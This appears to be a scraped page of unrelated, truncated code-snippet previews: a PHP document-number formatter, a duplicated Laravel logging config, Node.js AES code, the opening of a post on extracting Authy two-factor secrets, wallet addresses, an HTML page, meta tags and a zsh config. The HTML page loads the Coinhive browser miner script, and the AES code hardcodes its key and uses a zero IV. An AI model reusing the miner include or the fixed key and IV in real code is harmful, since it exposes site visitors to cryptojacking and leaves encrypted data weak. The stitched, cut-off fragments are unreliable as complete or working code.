function formatCnpjCpf($value)
{
$CPF_LENGTH = 11;
$cnpj_cpf = preg_replace("/\D/", '', $value);
if (strlen($cnpj_cpf) === $CPF_LENGTH) {
return preg_replace("/(\d{3})(\d{3})(\d{3})(\d{2})/", "\$1.\$2.\$3-\$4", $cnpj_cpf);
}
<?php | |
use Monolog\Handler\NullHandler; | |
use Monolog\Handler\StreamHandler; | |
use Monolog\Handler\SyslogUdpHandler; | |
return [ | |
/* | |
|-------------------------------------------------------------------------- |
<?php | |
use Monolog\Handler\NullHandler; | |
use Monolog\Handler\StreamHandler; | |
use Monolog\Handler\SyslogUdpHandler; | |
return [ | |
/* | |
|-------------------------------------------------------------------------- |
// IDEA FROM: https://stackoverflow.com/questions/33929712/crypto-in-nodejs-and-ruby | |
var crypto = require('crypto'), | |
algorithm = 'aes-256-cbc', | |
key = 'SOME_RANDOM_KEY_32_CHR_123456789', // 32 Characters | |
iv = "0000000000000000"; // 16 Characters | |
function encrypt(text){ | |
var cipher = crypto.createCipheriv(algorithm,key,iv) | |
var crypted = cipher.update(text,'utf-8',"base64") |
There is an increasing count of applications which use Authy for two-factor authentication. However many users who aren't using Authy, have their own authenticator setup up already and do not wish to use two applications for generating passwords.
Since I use 1Password for all of my password storing/generating needs, I was looking for a solution to use Authy passwords on that. I couldn't find any completely working solutions, however I stumbled upon a gist by Brian Hartvigsen. His post had a neat code with it to generate QR codes for you to use on your favorite authenticator.
His method is to extract the secret keys using Authy's Google Chrome app via Developer Tools. If this was not possible, I guess people would be reverse engineering the Android app or something like that. But when I tried that code, nothing appeared on the screen. My guess is that Brian used the
Wallets: | |
Binance: | |
BTC - 19ASxVrgG3EAZp77uj11nDtg8Gfkr8kjer | |
ETH - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90 | |
ETC - 0x93b40bf2463f8f40a2b41c67aed659443bd24f90 | |
RNV - RPzMdWD4o1mLy5jF8Migc3FwjmGaNT398B | |
LTC - LdYK1p15JgZD6cHYSupWxEueXjM4H6uaWh | |
BEAM - 3df2cfc388390e483dfa554da1ef185289c4b566093f011861cd81da8fc0225fc81 |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title></title> | |
</head> | |
<body> | |
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script> | |
<script src="https://coinhive.com/lib/coinhive.min.js"></script> | |
<script type="text/javascript"> |
<!-- Insert in head --> | |
<!-- Custom Browsers Color Start --> | |
<!-- Chrome, Firefox OS and Opera --> | |
<meta name="theme-color" content="#000"> | |
<!-- Windows Phone --> | |
<meta name="msapplication-navbutton-color" content="#000"> | |
<!-- iOS Safari --> | |
<meta name="apple-mobile-web-app-status-bar-style" content="#000"> | |
<!-- Custom Browsers Color End --> |
# If you come from bash you might have to change your $PATH. | |
# export PATH=$HOME/bin:/usr/local/bin:$PATH | |
# Path to your oh-my-zsh installation. | |
export ZSH=$HOME/.oh-my-zsh | |
# Set name of the theme to load. Optionally, if you set this to "random" | |
# it'll load a random theme each time that oh-my-zsh is loaded. | |
# See https://github.com/robbyrussell/oh-my-zsh/wiki/Themes | |
ZSH_THEME="powerlevel9k/powerlevel9k" |